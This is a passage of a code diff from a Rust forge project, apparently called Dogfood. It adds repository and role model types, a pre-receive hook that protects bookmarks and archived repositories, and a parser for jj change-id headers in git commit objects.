| 29 | + | } | |
| 30 | + | } | |
| 31 | + | ||
| 32 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, sqlx::Type, Serialize, Deserialize)] | |
| 33 | + | #[sqlx(type_name = "owner_kind", rename_all = "lowercase")] | |
| 34 | + | #[serde(rename_all = "lowercase")] | |
| 35 | + | pub enum OwnerKind { | |
| 36 | + | User, | |
| 37 | + | Org, | |
| 38 | + | } | |
| 39 | + | ||
| 40 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, sqlx::Type, Serialize, Deserialize)] | |
| 41 | + | #[sqlx(type_name = "visibility", rename_all = "lowercase")] | |
| 42 | + | #[serde(rename_all = "lowercase")] | |
| 43 | + | pub enum Visibility { | |
| 44 | + | Public, | |
| 45 | + | Private, | |
| 46 | + | } | |
| 47 | + | ||
| 48 | + | /// Repository access level. | |
| 49 | + | /// | |
| 50 | + | /// Ordered least- to most-privileged; `PartialOrd` is derived from that order so | |
| 51 | + | /// permission checks read as `role >= RepoRole::Write`. | |
| 52 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, sqlx::Type, Serialize, Deserialize)] | |
| 53 | + | #[sqlx(type_name = "repo_role", rename_all = "lowercase")] | |
| 54 | + | #[serde(rename_all = "lowercase")] | |
| 55 | + | pub enum RepoRole { | |
| 56 | + | Read, | |
| 57 | + | Write, | |
| 58 | + | Maintain, | |
| 59 | + | Admin, | |
| 60 | + | } | |
| 61 | + | ||
| 62 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, sqlx::Type, Serialize, Deserialize)] | |
| 63 | + | #[sqlx(type_name = "org_role", rename_all = "lowercase")] | |
| 64 | + | #[serde(rename_all = "lowercase")] | |
| 65 | + | pub enum OrgRole { | |
| 66 | + | Member, | |
| 67 | + | Admin, | |
| 68 | + | } | |
| 69 | + | ||
| 70 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, sqlx::Type, Serialize, Deserialize)] | |
| 71 | + | #[sqlx(type_name = "change_state", rename_all = "lowercase")] | |
| 72 | + | #[serde(rename_all = "lowercase")] | |
| 73 | + | pub enum ChangeState { | |
| 74 | + | Draft, | |
| 75 | + | Open, | |
| 76 | + | Merged, | |
| 77 | + | Abandoned, | |
| 78 | + | } | |
| 79 | + | ||
| 80 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, sqlx::Type, Serialize, Deserialize)] | |
| 81 | + | #[sqlx(type_name = "issue_state", rename_all = "lowercase")] | |
| 82 | + | #[serde(rename_all = "lowercase")] | |
| 83 | + | pub enum IssueState { | |
| 84 | + | Open, | |
| 85 | + | Closed, | |
| 86 | + | } | |
| 87 | + | ||
| 88 | + | #[derive(Debug, Clone, Copy, PartialEq, Eq, sqlx::Type, Serialize, Deserialize)] | |
| 89 | + | #[sqlx(type_name = "anchor_state", rename_all = "lowercase")] | |
| 90 | + | #[serde(rename_all = "lowercase")] | |
| 91 | + | pub enum AnchorState { | |
| 92 | + | Current, | |
| 93 | + | Outdated, | |
| 94 | + | Orphaned, | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | #[derive(Debug, Clone, sqlx::FromRow)] | |
| 98 | + | pub struct Repo { | |
| 99 | + | pub id: Uuid, | |
| 100 | + | pub owner_kind: OwnerKind, | |
| 101 | + | pub owner_user_id: Option<Uuid>, | |
| 102 | + | pub owner_org_id: Option<Uuid>, | |
| 103 | + | pub name: String, | |
| 104 | + | pub description: Option<String>, | |
| 105 | + | pub visibility: Visibility, | |
| 106 | + | pub default_bookmark: String, | |
| 107 | + | pub fork_of_repo_id: Option<Uuid>, | |
| 108 | + | pub size_bytes: i64, | |
| 109 | + | pub pushed_at: Option<DateTime<Utc>>, | |
| 110 | + | pub archived: bool, | |
| 111 | + | pub created_at: DateTime<Utc>, | |
| 112 | + | } | |
| 113 | + | ||
| 114 | + | impl Repo { | |
| 115 | + | pub fn is_public(&self) -> bool { | |
| 116 | + | matches!(self.visibility, Visibility::Public) | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | /// Whether this repo has ever received a push. An empty repo shows clone | |
| 120 | + | /// instructions rather than a file listing. | |
| 121 | + | pub fn is_empty(&self) -> bool { | |
| 122 | + | self.pushed_at.is_none() | |
| 123 | + | } | |
| 124 | + | } | |
| 125 | + | ||
| 126 | + | #[derive(Debug, Clone)] | |
| 127 | + | pub struct Session { | |
| 128 | + | pub id: Uuid, | |
| 129 | + | pub user_id: Uuid, | |
| 130 | + | pub expires_at: DateTime<Utc>, | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | #[cfg(test)] | |
| 134 | + | mod tests { | |
| 135 | + | use super::*; | |
| 136 | + | ||
| 137 | + | #[test] | |
| 138 | + | fn repo_roles_are_ordered_by_privilege() { | |
| 139 | + | // Permission checks rely on this ordering, so it is worth pinning. | |
| 140 | + | assert!(RepoRole::Read < RepoRole::Write); | |
| 141 | + | assert!(RepoRole::Write < RepoRole::Maintain); | |
| 142 | + | assert!(RepoRole::Maintain < RepoRole::Admin); | |
| 143 | + | assert_eq!( | |
| 144 | + | RepoRole::Admin.max(RepoRole::Read), | |
| 145 | + | RepoRole::Admin, | |
| 146 | + | "effective role is the maximum of the roles a user holds" | |
| 147 | + | ); | |
| 148 | + | } | |
| 149 | + | ||
| 150 | + | #[test] | |
| 151 | + | fn user_label_falls_back_to_handle() { | |
| 152 | + | let mut u = User { | |
| 153 | + | id: Uuid::nil(), | |
| 154 | + | subject: "s".into(), | |
| 155 | + | handle: "alice".into(), | |
| 156 | + | display_name: None, | |
| 157 | + | email: None, | |
| 158 | + | avatar_url: None, | |
| 159 | + | is_admin: false, | |
| 160 | + | created_at: Utc::now(), | |
| 161 | + | }; | |
| 162 | + | assert_eq!(u.label(), "alice"); | |
| 163 | + | u.display_name = Some(" ".into()); | |
| 164 | + | assert_eq!(u.label(), "alice", "blank display names must not be shown"); | |
| 165 | + | u.display_name = Some("Alice Liddell".into()); | |
| 166 | + | assert_eq!(u.label(), "Alice Liddell"); | |
| 167 | + | } | |
| 168 | + | } | |
Acrates/df-hook/Cargo.toml+18−0
| @@ −0,0 +1,18 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-hook" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [[bin]] | |
| 9 | + | name = "dogfood-hook" | |
| 10 | + | path = "src/main.rs" | |
| 11 | + | ||
| 12 | + | [dependencies] | |
| 13 | + | df-db = { path = "../df-db" } | |
| 14 | + | df-store = { path = "../df-store" } | |
| 15 | + | ||
| 16 | + | sqlx.workspace = true | |
| 17 | + | tokio = { workspace = true } | |
| 18 | + | uuid.workspace = true | |
Acrates/df-hook/src/main.rs+314−0
| @@ −0,0 +1,314 @@ | |||
| 1 | + | //! `dogfood-hook` — the pre-receive hook (spec §4). | |
| 2 | + | //! | |
| 3 | + | //! > Hooks are the compiled `dogfood-hook` binary, installed into each repo's | |
| 4 | + | //! > `hooks/` directory at creation and connecting to the database over a local | |
| 5 | + | //! > socket. Do not use shell scripts — argument handling and error propagation | |
| 6 | + | //! > are both worse. | |
| 7 | + | //! | |
| 8 | + | //! Runs synchronously on the push path with a <200ms budget, so it does the | |
| 9 | + | //! cheap checks first and only touches the database when it must. | |
| 10 | + | //! | |
| 11 | + | //! stdin is one line per ref update: `<old-oid> <new-oid> <refname>`. | |
| 12 | + | //! A non-zero exit rejects the entire push. | |
| 13 | + | ||
| 14 | + | use std::io::{BufRead, Write}; | |
| 15 | + | use std::process::ExitCode; | |
| 16 | + | ||
| 17 | + | use df_store::refname; | |
| 18 | + | ||
| 19 | + | /// Hard cap on the whole hook, so a database stall cannot hang a push | |
| 20 | + | /// indefinitely. On timeout we *allow* the push: the alternative is that a | |
| 21 | + | /// database blip blocks all pushes, and the indexer re-derives state anyway. | |
| 22 | + | /// Ref-name validation is local and has already run by then. | |
| 23 | + | const DB_TIMEOUT: std::time::Duration = std::time::Duration::from_millis(1500); | |
| 24 | + | ||
| 25 | + | fn main() -> ExitCode { | |
| 26 | + | let mut stderr = std::io::stderr(); | |
| 27 | + | ||
| 28 | + | let updates = match read_updates() { | |
| 29 | + | Ok(u) => u, | |
| 30 | + | Err(e) => { | |
| 31 | + | let _ = writeln!(stderr, "dogfood: could not read ref updates: {e}"); | |
| 32 | + | return ExitCode::FAILURE; | |
| 33 | + | } | |
| 34 | + | }; | |
| 35 | + | ||
| 36 | + | if updates.is_empty() { | |
| 37 | + | return ExitCode::SUCCESS; | |
| 38 | + | } | |
| 39 | + | ||
| 40 | + | // ── 1. ref-name validation (local, no I/O) ─────────────────────────────── | |
| 41 | + | for u in &updates { | |
| 42 | + | if let Err(e) = refname::validate_pushed_ref(&u.refname) { | |
| 43 | + | // The message is printed to the pusher's terminal. `RefError`'s | |
| 44 | + | // Display never echoes the offending byte, which is the point. | |
| 45 | + | let _ = writeln!(stderr, "dogfood: rejected `{}`: {e}", sanitise(&u.refname)); | |
| 46 | + | return ExitCode::FAILURE; | |
| 47 | + | } | |
| 48 | + | } | |
| 49 | + | ||
| 50 | + | // ── 2. protected bookmarks (needs the database) ────────────────────────── | |
| 51 | + | let repo_id = std::env::var("DOGFOOD_REPO_ID").ok(); | |
| 52 | + | let database_url = std::env::var("DATABASE_URL").ok(); | |
| 53 | + | ||
| 54 | + | // Set by whichever transport spawned git, to say "this check is mandatory". | |
| 55 | + | // Its absence means an old hook script or a transport that forgot to pass | |
| 56 | + | // the environment — the exact failure that made bookmark protection a | |
| 57 | + | // no-op over HTTPS without anything reporting it. | |
| 58 | + | let enforced = std::env::var("DOGFOOD_ENFORCE").is_ok(); | |
| 59 | + | ||
| 60 | + | match (repo_id, database_url) { | |
| 61 | + | (Some(repo_id), Some(url)) => match check_protected(&url, &repo_id, &updates) { | |
| 62 | + | Ok(Some(violation)) => { | |
| 63 | + | let _ = writeln!(stderr, "dogfood: {violation}"); | |
| 64 | + | return ExitCode::FAILURE; | |
| 65 | + | } | |
| 66 | + | Ok(None) => {} | |
| 67 | + | Err(e) => { | |
| 68 | + | // A *transient* failure fails open, loudly: a database blip | |
| 69 | + | // blocking every push is worse than one missed check, and ref | |
| 70 | + | // names were already validated locally above. | |
| 71 | + | let _ = writeln!( | |
| 72 | + | stderr, | |
| 73 | + | "dogfood: warning: could not verify bookmark protection ({e}); allowing push" | |
| 74 | + | ); | |
| 75 | + | } | |
| 76 | + | }, | |
| 77 | + | // Misconfiguration, not a blip. Failing open here is how a protected | |
| 78 | + | // bookmark stays unprotected forever with nobody noticing, so when the | |
| 79 | + | // caller said the check was mandatory, refuse. | |
| 80 | + | _ if enforced => { | |
| 81 | + | let _ = writeln!( | |
| 82 | + | stderr, | |
| 83 | + | "dogfood: push validation is not configured on this server \ | |
| 84 | + | (missing DOGFOOD_REPO_ID or DATABASE_URL); refusing the push" | |
| 85 | + | ); | |
| 86 | + | return ExitCode::FAILURE; | |
| 87 | + | } | |
| 88 | + | _ => {} | |
| 89 | + | } | |
| 90 | + | ||
| 91 | + | ExitCode::SUCCESS | |
| 92 | + | } | |
| 93 | + | ||
| 94 | + | struct Update { | |
| 95 | + | old: String, | |
| 96 | + | new: String, | |
| 97 | + | refname: String, | |
| 98 | + | } | |
| 99 | + | ||
| 100 | + | impl Update { | |
| 101 | + | /// Whether this update deletes the ref. | |
| 102 | + | fn is_delete(&self) -> bool { | |
| 103 | + | self.new.chars().all(|c| c == '0') | |
| 104 | + | } | |
| 105 | + | ||
| 106 | + | /// Whether this update is a non-fast-forward (a force push). | |
| 107 | + | /// | |
| 108 | + | /// The hook cannot cheaply prove ancestry without object access, so this is | |
| 109 | + | /// the conservative signal: any update to an existing ref that is not a | |
| 110 | + | /// creation. Protected bookmarks reject both. | |
| 111 | + | fn is_update_of_existing(&self) -> bool { | |
| 112 | + | !self.old.chars().all(|c| c == '0') | |
| 113 | + | } | |
| 114 | + | } | |
| 115 | + | ||
| 116 | + | fn read_updates() -> std::io::Result<Vec<Update>> { | |
| 117 | + | let stdin = std::io::stdin(); | |
| 118 | + | let mut out = Vec::new(); | |
| 119 | + | ||
| 120 | + | for line in stdin.lock().lines() { | |
| 121 | + | let line = line?; | |
| 122 | + | let line = line.trim_end_matches(['\r', '\n']); | |
| 123 | + | if line.is_empty() { | |
| 124 | + | continue; | |
| 125 | + | } | |
| 126 | + | let mut parts = line.split(' '); | |
| 127 | + | let (Some(old), Some(new), Some(refname)) = (parts.next(), parts.next(), parts.next()) | |
| 128 | + | else { | |
| 129 | + | // A malformed line means we do not understand the push; refuse | |
| 130 | + | // rather than let it through unvalidated. | |
| 131 | + | return Err(std::io::Error::new( | |
| 132 | + | std::io::ErrorKind::InvalidData, | |
| 133 | + | "malformed ref update line", | |
| 134 | + | )); | |
| 135 | + | }; | |
| 136 | + | out.push(Update { | |
| 137 | + | old: old.to_string(), | |
| 138 | + | new: new.to_string(), | |
| 139 | + | refname: refname.to_string(), | |
| 140 | + | }); | |
| 141 | + | } | |
| 142 | + | Ok(out) | |
| 143 | + | } | |
| 144 | + | ||
| 145 | + | /// Whether `old` is an ancestor of `new` — i.e. whether this update is a | |
| 146 | + | /// fast-forward. | |
| 147 | + | /// | |
| 148 | + | /// Asked of git rather than reasoned about: the hook already runs inside the | |
| 149 | + | /// repository (git sets `GIT_DIR`), and re-implementing ancestry against a | |
| 150 | + | /// pack we do not otherwise read would be a lot of code to get subtly wrong. | |
| 151 | + | /// | |
| 152 | + | /// On any doubt this returns `false`, so an update we cannot classify is | |
| 153 | + | /// treated as a force-push and refused. For a *protected* bookmark that is the | |
| 154 | + | /// safe direction. | |
| 155 | + | fn is_fast_forward(old: &str, new: &str) -> bool { | |
| 156 | + | std::process::Command::new("git") | |
| 157 | + | .args(["merge-base", "--is-ancestor", old, new]) | |
| 158 | + | .stdin(std::process::Stdio::null()) | |
| 159 | + | .stdout(std::process::Stdio::null()) | |
| 160 | + | .stderr(std::process::Stdio::null()) | |
| 161 | + | .status() | |
| 162 | + | .map(|s| s.success()) | |
| 163 | + | .unwrap_or(false) | |
| 164 | + | } | |
| 165 | + | ||
| 166 | + | /// Reject pushes to an archived repository, and deletes or force-pushes of | |
| 167 | + | /// protected bookmarks. | |
| 168 | + | /// | |
| 169 | + | /// "Protected" means what the settings page says it means: the bookmark cannot | |
| 170 | + | /// be **deleted** or **force-updated**. An ordinary fast-forward is allowed — | |
| 171 | + | /// refusing those too would block the normal `jj git push -b main` workflow | |
| 172 | + | /// while the UI promised it was fine. | |
| 173 | + | fn check_protected( | |
| 174 | + | database_url: &str, | |
| 175 | + | repo_id: &str, | |
| 176 | + | updates: &[Update], | |
| 177 | + | ) -> Result<Option<String>, String> { | |
| 178 | + | let runtime = tokio::runtime::Builder::new_current_thread() | |
| 179 | + | .enable_all() | |
| 180 | + | .build() | |
| 181 | + | .map_err(|e| e.to_string())?; | |
| 182 | + | ||
| 183 | + | runtime.block_on(async { | |
| 184 | + | let fut = async { | |
| 185 | + | let pool = df_db::connect(database_url, 1) | |
| 186 | + | .await | |
| 187 | + | .map_err(|e| e.to_string())?; | |
| 188 | + | ||
| 189 | + | let repo: uuid::Uuid = repo_id.parse().map_err(|_| "bad repo id".to_string())?; | |
| 190 | + | ||
| 191 | + | // An archived repository accepts nothing. Checked here as well as on | |
| 192 | + | // each transport, because the hook is the one place both of them | |
| 193 | + | // pass through. | |
| 194 | + | let archived: Option<(bool,)> = | |
| 195 | + | sqlx::query_as("SELECT archived FROM repos WHERE id = $1") | |
| 196 | + | .bind(repo) | |
| 197 | + | .fetch_optional(&pool) | |
| 198 | + | .await | |
| 199 | + | .map_err(|e| e.to_string())?; | |
| 200 | + | ||
| 201 | + | match archived { | |
| 202 | + | Some((true,)) => { | |
| 203 | + | return Ok::<_, String>(Some( | |
| 204 | + | "this repository is archived and does not accept pushes".to_string(), | |
| 205 | + | )) | |
| 206 | + | } | |
| 207 | + | // No row: the repository was deleted between the push starting | |
| 208 | + | // and this check. Refusing is the only safe reading. | |
| 209 | + | None => return Ok(Some("this repository no longer exists".to_string())), | |
| 210 | + | Some((false,)) => {} | |
| 211 | + | } | |
| 212 | + | ||
| 213 | + | // The default bookmark is protected whether or not it carries the | |
| 214 | + | // flag. The settings page says "always" for it, and a `bookmarks` | |
| 215 | + | // row created by the indexer defaults to unprotected — so reading | |
| 216 | + | // the flag alone would quietly make that promise false. | |
| 217 | + | let protected: Vec<(String,)> = sqlx::query_as( | |
| 218 | + | "SELECT name FROM bookmarks WHERE repo_id = $1 AND protected | |
| 219 | + | UNION | |
| 220 | + | SELECT default_bookmark FROM repos WHERE id = $1", | |
| 221 | + | ) | |
| 222 | + | .bind(repo) | |
| 223 | + | .fetch_all(&pool) | |
| 224 | + | .await | |
| 225 | + | .map_err(|e| e.to_string())?; | |
| 226 | + | ||
| 227 | + | for u in updates { | |
| 228 | + | let Some(short) = u.refname.strip_prefix("refs/heads/") else { | |
| 229 | + | continue; | |
| 230 | + | }; | |
| 231 | + | if !protected.iter().any(|(n,)| n == short) { | |
| 232 | + | continue; | |
| 233 | + | } | |
| 234 | + | if u.is_delete() { | |
| 235 | + | return Ok(Some(format!( | |
| 236 | + | "`{short}` is a protected bookmark and cannot be deleted" | |
| 237 | + | ))); | |
| 238 | + | } | |
| 239 | + | // Creating it is fine — that is the first push to a new | |
| 240 | + | // repository. Updating it is fine too, as long as it only moves | |
| 241 | + | // forward. | |
| 242 | + | if u.is_update_of_existing() && !is_fast_forward(&u.old, &u.new) { | |
| 243 | + | return Ok(Some(format!( | |
| 244 | + | "`{short}` is a protected bookmark and cannot be force-updated; \ | |
| 245 | + | rebase onto it, or open a change" | |
| 246 | + | ))); | |
| 247 | + | } | |
| 248 | + | } | |
| 249 | + | Ok(None) | |
| 250 | + | }; | |
| 251 | + | ||
| 252 | + | match tokio::time::timeout(DB_TIMEOUT, fut).await { | |
| 253 | + | Ok(r) => r, | |
| 254 | + | Err(_) => Err("timed out".to_string()), | |
| 255 | + | } | |
| 256 | + | }) | |
| 257 | + | } | |
| 258 | + | ||
| 259 | + | /// Render a ref name safely for terminal output. | |
| 260 | + | /// | |
| 261 | + | /// Validation has usually already rejected anything dangerous, but this runs on | |
| 262 | + | /// the error path where the name is by definition untrusted. | |
| 263 | + | fn sanitise(s: &str) -> String { | |
| 264 | + | s.chars() | |
| 265 | + | .map(|c| { | |
| 266 | + | if c.is_control() || c == '\u{7f}' { | |
| 267 | + | '?' | |
| 268 | + | } else { | |
| 269 | + | c | |
| 270 | + | } | |
| 271 | + | }) | |
| 272 | + | .take(200) | |
| 273 | + | .collect() | |
| 274 | + | } | |
| 275 | + | ||
| 276 | + | #[cfg(test)] | |
| 277 | + | mod tests { | |
| 278 | + | use super::*; | |
| 279 | + | ||
| 280 | + | fn u(old: &str, new: &str, name: &str) -> Update { | |
| 281 | + | Update { | |
| 282 | + | old: old.into(), | |
| 283 | + | new: new.into(), | |
| 284 | + | refname: name.into(), | |
| 285 | + | } | |
| 286 | + | } | |
| 287 | + | ||
| 288 | + | const ZERO: &str = "0000000000000000000000000000000000000000"; | |
| 289 | + | const OID: &str = "1111111111111111111111111111111111111111"; | |
| 290 | + | ||
| 291 | + | #[test] | |
| 292 | + | fn detects_deletes() { | |
| 293 | + | assert!(u(OID, ZERO, "refs/heads/main").is_delete()); | |
| 294 | + | assert!(!u(OID, OID, "refs/heads/main").is_delete()); | |
| 295 | + | } | |
| 296 | + | ||
| 297 | + | #[test] | |
| 298 | + | fn detects_creation_versus_update() { | |
| 299 | + | assert!(!u(ZERO, OID, "refs/heads/new").is_update_of_existing()); | |
| 300 | + | assert!(u(OID, OID, "refs/heads/main").is_update_of_existing()); | |
| 301 | + | } | |
| 302 | + | ||
| 303 | + | #[test] | |
| 304 | + | fn sanitise_strips_control_bytes() { | |
| 305 | + | assert_eq!(sanitise("main\x1b[31m"), "main?[31m"); | |
| 306 | + | assert_eq!(sanitise("main\n"), "main?"); | |
| 307 | + | assert_eq!(sanitise("ok"), "ok"); | |
| 308 | + | } | |
| 309 | + | ||
| 310 | + | #[test] | |
| 311 | + | fn sanitise_bounds_its_output() { | |
| 312 | + | assert_eq!(sanitise(&"a".repeat(500)).len(), 200); | |
| 313 | + | } | |
| 314 | + | } | |
Acrates/df-index/Cargo.toml+22−0
| @@ −0,0 +1,22 @@ | |||
| 1 | + | [package] | |
| 2 | + | name = "df-index" | |
| 3 | + | version.workspace = true | |
| 4 | + | edition.workspace = true | |
| 5 | + | rust-version.workspace = true | |
| 6 | + | license.workspace = true | |
| 7 | + | ||
| 8 | + | [dependencies] | |
| 9 | + | # The line mapping comment anchors rebase through must agree with the diff the | |
| 10 | + | # reviewer sees, so it uses the same differ df-store renders with. | |
| 11 | + | similar.workspace = true | |
| 12 | + | chrono.workspace = true | |
| 13 | + | sha2.workspace = true | |
| 14 | + | hex.workspace = true | |
| 15 | + | thiserror.workspace = true | |
| 16 | + | tracing.workspace = true | |
| 17 | + | ||
| 18 | + | [dev-dependencies] | |
| 19 | + | # The fixture corpus is driven through the git CLI in integration tests rather | |
| 20 | + | # than by linking gix here — df-index must not depend on a git library | |
| 21 | + | # (spec §3 rule 1). | |
| 22 | + | serde_json.workspace = true | |
Acrates/df-index/src/change_id.rs468 lines+468−0
| @@ −0,0 +1,468 @@ | |||
| 1 | + | //! Extraction of jj change ids from raw Git commit objects. | |
| 2 | + | //! | |
| 3 | + | //! This is the single most format-sensitive function in Dogfood. Everything in | |
| 4 | + | //! the change index keys off its output, so it is deliberately strict: it | |
| 5 | + | //! either returns an id it is certain about, or `None`. | |
| 6 | + | //! | |
| 7 | + | //! The wire format is documented, with the observations that established it, in | |
| 8 | + | //! `docs/change-id-format.md`. The short version: | |
| 9 | + | //! | |
| 10 | + | //! - The header key is `change-id`, lowercase and hyphenated. | |
| 11 | + | //! - The value is 32 characters in jj's reverse-hex alphabet (`k`..=`z`) — the | |
| 12 | + | //! same string the CLI prints. It is **not** hex. Do not decode it. | |
| 13 | + | //! - Its position among the headers is not fixed. It appears before `gpgsig` on | |
| 14 | + | //! signed commits and after the multi-line `jj:conflict-labels` header on | |
| 15 | + | //! conflicted ones. | |
| 16 | + | //! | |
| 17 | + | //! That last point is why this is a real header parser rather than a substring | |
| 18 | + | //! search: a `gpgsig` signature body is base64, and a continuation line inside | |
| 19 | + | //! it can begin with any byte sequence at all, including `change-id `. | |
| 20 | + | ||
| 21 | + | /// A jj change id, in the canonical reverse-hex letter encoding jj stores and | |
| 22 | + | /// displays. | |
| 23 | + | /// | |
| 24 | + | /// Stored and compared as the letter string. Constructing one guarantees it is | |
| 25 | + | /// well-formed, so downstream code never has to re-validate. | |
| 26 | + | #[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord)] | |
| 27 | + | pub struct ChangeId(String); | |
| 28 | + | ||
| 29 | + | /// Length of a jj change id: 16 bytes rendered as 32 reverse-hex characters. | |
| 30 | + | const CHANGE_ID_LEN: usize = 32; | |
| 31 | + | ||
| 32 | + | /// jj's reverse-hex alphabet. `0123456789abcdef` maps to `zyxwvutsrqponmlk`, | |
| 33 | + | /// so every character of a well-formed change id falls in `k..=z`. | |
| 34 | + | const fn is_reverse_hex(b: u8) -> bool { | |
| 35 | + | b >= b'k' && b <= b'z' | |
| 36 | + | } | |
| 37 | + | ||
| 38 | + | impl ChangeId { | |
| 39 | + | /// Parse a change id from its canonical letter encoding. | |
| 40 | + | /// | |
| 41 | + | /// Returns `None` unless the input is exactly 32 characters drawn from | |
| 42 | + | /// jj's reverse-hex alphabet. Being strict here is what keeps malformed | |
| 43 | + | /// ids out of the index, where they would be indistinguishable from real | |
| 44 | + | /// ones forever. | |
| 45 | + | pub fn parse(s: &str) -> Option<Self> { | |
| 46 | + | let b = s.as_bytes(); | |
| 47 | + | if b.len() != CHANGE_ID_LEN || !b.iter().copied().all(is_reverse_hex) { | |
| 48 | + | return None; | |
| 49 | + | } | |
| 50 | + | Some(ChangeId(s.to_owned())) | |
| 51 | + | } | |
| 52 | + | ||
| 53 | + | pub fn as_str(&self) -> &str { | |
| 54 | + | &self.0 | |
| 55 | + | } | |
| 56 | + | ||
| 57 | + | /// The abbreviated form shown in the UI, matching how the CLI abbreviates. | |
| 58 | + | /// | |
| 59 | + | /// This is presentation only. The shortest *unique* prefix within a repo is | |
| 60 | + | /// a database question, not a property of the id, and is resolved by the | |
| 61 | + | /// change lookup query rather than here. | |
| 62 | + | pub fn short(&self) -> &str { | |
| 63 | + | &self.0[..12.min(self.0.len())] | |
| 64 | + | } | |
| 65 | + | } | |
| 66 | + | ||
| 67 | + | impl std::fmt::Display for ChangeId { | |
| 68 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 69 | + | f.write_str(&self.0) | |
| 70 | + | } | |
| 71 | + | } | |
| 72 | + | ||
| 73 | + | /// One header of a Git commit object, with continuation lines folded in. | |
| 74 | + | struct Header<'a> { | |
| 75 | + | key: &'a [u8], | |
| 76 | + | /// Raw value. For multi-line headers this is the first line only; callers | |
| 77 | + | /// that need the folded value use [`Headers::folded`]. Every header | |
| 78 | + | /// Dogfood cares about is single-line, so this avoids allocating for the | |
| 79 | + | /// large `gpgsig` values that make up most of a signed commit. | |
| 80 | + | value: &'a [u8], | |
| 81 | + | } | |
| 82 | + | ||
| 83 | + | /// Iterator over the header block of a raw commit object. | |
| 84 | + | /// | |
| 85 | + | /// Stops at the first empty line, which per the Git object format terminates | |
| 86 | + | /// the headers and begins the message. Lines beginning with a single space are | |
| 87 | + | /// continuations of the preceding header and are skipped rather than being | |
| 88 | + | /// mistaken for new headers — the hazard this parser exists to avoid. | |
| 89 | + | struct Headers<'a> { | |
| 90 | + | rest: &'a [u8], | |
| 91 | + | done: bool, | |
| 92 | + | } | |
| 93 | + | ||
| 94 | + | impl<'a> Headers<'a> { | |
| 95 | + | fn new(raw: &'a [u8]) -> Self { | |
| 96 | + | Headers { rest: raw, done: false } | |
| 97 | + | } | |
| 98 | + | } | |
| 99 | + | ||
| 100 | + | impl<'a> Iterator for Headers<'a> { | |
| 101 | + | type Item = Header<'a>; | |
| 102 | + | ||
| 103 | + | fn next(&mut self) -> Option<Header<'a>> { | |
| 104 | + | loop { | |
| 105 | + | if self.done || self.rest.is_empty() { | |
| 106 | + | return None; | |
| 107 | + | } | |
| 108 | + | ||
| 109 | + | // Split off one line. | |
| 110 | + | let (line, tail) = match memchr(b'\n', self.rest) { | |
| 111 | + | Some(i) => (&self.rest[..i], &self.rest[i + 1..]), | |
| 112 | + | // No trailing newline: this is the last line of the object. | |
| 113 | + | None => (self.rest, &self.rest[self.rest.len()..]), | |
| 114 | + | }; | |
| 115 | + | self.rest = tail; | |
| 116 | + | ||
| 117 | + | // An empty line ends the header block; the message follows. | |
| 118 | + | if line.is_empty() { | |
| 119 | + | self.done = true; | |
| 120 | + | return None; | |
| 121 | + | } | |
| 122 | + | ||
| 123 | + | // A leading space marks a continuation of the previous header's | |
| 124 | + | // value (gpgsig, jj:conflict-labels). Skip it: it is never the | |
| 125 | + | // start of a new header, no matter what bytes it contains. | |
| 126 | + | if line[0] == b' ' { | |
| 127 | + | continue; | |
| 128 | + | } | |
| 129 | + | ||
| 130 | + | // `key SP value`. A header with no space is malformed; skip it | |
| 131 | + | // rather than aborting, so one odd header cannot cost us the | |
| 132 | + | // change id. | |
| 133 | + | return match memchr(b' ', line) { | |
| 134 | + | Some(i) => Some(Header { key: &line[..i], value: &line[i + 1..] }), | |
| 135 | + | None => continue, | |
| 136 | + | }; | |
| 137 | + | } | |
| 138 | + | } | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | /// Minimal byte search, to avoid pulling in `memchr` for two call sites. | |
| 142 | + | fn memchr(needle: u8, haystack: &[u8]) -> Option<usize> { | |
| 143 | + | haystack.iter().position(|&b| b == needle) | |
| 144 | + | } | |
| 145 | + | ||
| 146 | + | /// Extract the jj change id from a raw git commit object. | |
| 147 | + | /// | |
| 148 | + | /// Returns `None` for commits authored by plain git, which carry no such | |
| 149 | + | /// header, and for commits whose `change-id` value is not a well-formed id. | |
| 150 | + | /// Callers treat `None` as "this commit needs a synthetic identity" (spec §4). | |
| 151 | + | /// | |
| 152 | + | /// `raw_commit` is the object payload — the bytes `git cat-file commit` prints, | |
| 153 | + | /// without the `commit <len>\0` prefix that precedes them in the object store. | |
| 154 | + | pub fn extract_change_id(raw_commit: &[u8]) -> Option<ChangeId> { | |
| 155 | + | for h in Headers::new(raw_commit) { | |
| 156 | + | if h.key == b"change-id" { | |
| 157 | + | // Trailing `\r` would mean a mangled object; `from_utf8` on the | |
| 158 | + | // trimmed value rejects anything non-ASCII anyway, and `parse` | |
| 159 | + | // rejects anything outside the alphabet. | |
| 160 | + | return std::str::from_utf8(h.value).ok().and_then(ChangeId::parse); | |
| 161 | + | } | |
| 162 | + | } | |
| 163 | + | None | |
| 164 | + | } | |
| 165 | + | ||
| 166 | + | /// Conflict information carried in a jj commit's `jj:trees` header. | |
| 167 | + | /// | |
| 168 | + | /// jj stores a conflicted state as an alternating list of tree ids: | |
| 169 | + | /// `side_0, base_0, side_1, base_1, side_2, …` — always one more side than | |
| 170 | + | /// base. See `docs/change-id-format.md` §6. | |
| 171 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 172 | + | pub struct ConflictTrees { | |
| 173 | + | pub sides: Vec<String>, | |
| 174 | + | pub bases: Vec<String>, | |
| 175 | + | } | |
| 176 | + | ||
| 177 | + | /// Extract conflict tree structure from a raw commit object. | |
| 178 | + | /// | |
| 179 | + | /// Returns `None` for unconflicted commits. Detection uses the `jj:trees` | |
